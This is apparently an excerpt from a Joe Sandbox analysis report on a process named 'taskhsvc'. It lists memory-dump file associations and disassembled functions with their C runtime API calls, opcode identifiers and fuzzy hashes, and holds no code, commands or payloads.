                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$memcpystrrchr$exitfreemalloc
                                                                                                                          • String ID: A
                                                                                                                          • API String ID: 2247299568-1215202725
                                                                                                                          • Opcode ID: 1b726dac6ceefa6bb39f42d1f89a8a7d559c62e59c7bfbd8f50fff221eeec9e0
                                                                                                                          • Instruction ID: 015797fffd35b81df5a9eaac462074ec3b435f5fa8b2f3c987cdd50dd0540123
                                                                                                                          • Opcode Fuzzy Hash: 1b726dac6ceefa6bb39f42d1f89a8a7d559c62e59c7bfbd8f50fff221eeec9e0
                                                                                                                          • Instruction Fuzzy Hash: 0A517FB4A04208DFDB00DFA9C58569DBBF1FF48318F149429E894E7351E734E9858F66
                                                                                                                          Function 00C300B9 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 112COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C30266
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00C30109
                                                                                                                          • memset.MSVCRT ref: 00C30243
                                                                                                                            • Part of subcall function 00D3F194: abort.MSVCRT ref: 00D3F1F0
                                                                                                                            • Part of subcall function 00D3F194: abort.MSVCRT ref: 00D3F22F
                                                                                                                            • Part of subcall function 00D3F194: abort.MSVCRT ref: 00D3F26E
                                                                                                                            • Part of subcall function 00D3F194: abort.MSVCRT ref: 00D3F319
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: abort$__stack_chk_fail$strrchr$memset
                                                                                                                          • String ID: NULL$T!$]
                                                                                                                          • API String ID: 905021910-3073973295
                                                                                                                          • Opcode ID: c1fd773bc078dde84ae8ee349035ca5d0d83047501494bcc8512814e0d90eb89
                                                                                                                          • Instruction ID: 504eaf31a56db5999dc684d064d31c450ea9830853d674fa34be744471802000
                                                                                                                          • Opcode Fuzzy Hash: c1fd773bc078dde84ae8ee349035ca5d0d83047501494bcc8512814e0d90eb89
                                                                                                                          • Instruction Fuzzy Hash: 5C51C275A1420ACFCB00EFA9D599AAFB7F0FF44304F118869E868AB351D374E945CB61
                                                                                                                          Function 00BFE0B4 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT ref: 00BFE10A
                                                                                                                            • Part of subcall function 00D33842: __stack_chk_fail.LIBSSP-0 ref: 00D338B7
                                                                                                                          • abort.MSVCRT ref: 00BFE17C
                                                                                                                          • abort.MSVCRT ref: 00BFE1BB
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00BFE24C
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_fail$abort$strrchr
                                                                                                                          • String ID: K$02
                                                                                                                          • API String ID: 797389190-867648362
                                                                                                                          • Opcode ID: d1ae12899055cbb42160c9d712409a288862bafcd5230aba77737ae2723d00a2
                                                                                                                          • Instruction ID: 5277a511dd2343cdecd8fb3b85bd2e14d52bdc7f85317fab1eb4a7f0aa53711d
                                                                                                                          • Opcode Fuzzy Hash: d1ae12899055cbb42160c9d712409a288862bafcd5230aba77737ae2723d00a2
                                                                                                                          • Instruction Fuzzy Hash: CE41F8B49083099FCB00EF65D5896AEBBF0FF84304F019859E594AB351D778DA44CF62
                                                                                                                          Function 00C540E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 100COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C540C2), ref: 00C54158
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C540C2), ref: 00C5419F
                                                                                                                          • abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00C540C2), ref: 00C541F0
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C5424F
                                                                                                                            • Part of subcall function 00C52E0B: __stack_chk_fail.LIBSSP-0 ref: 00C52E9D
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
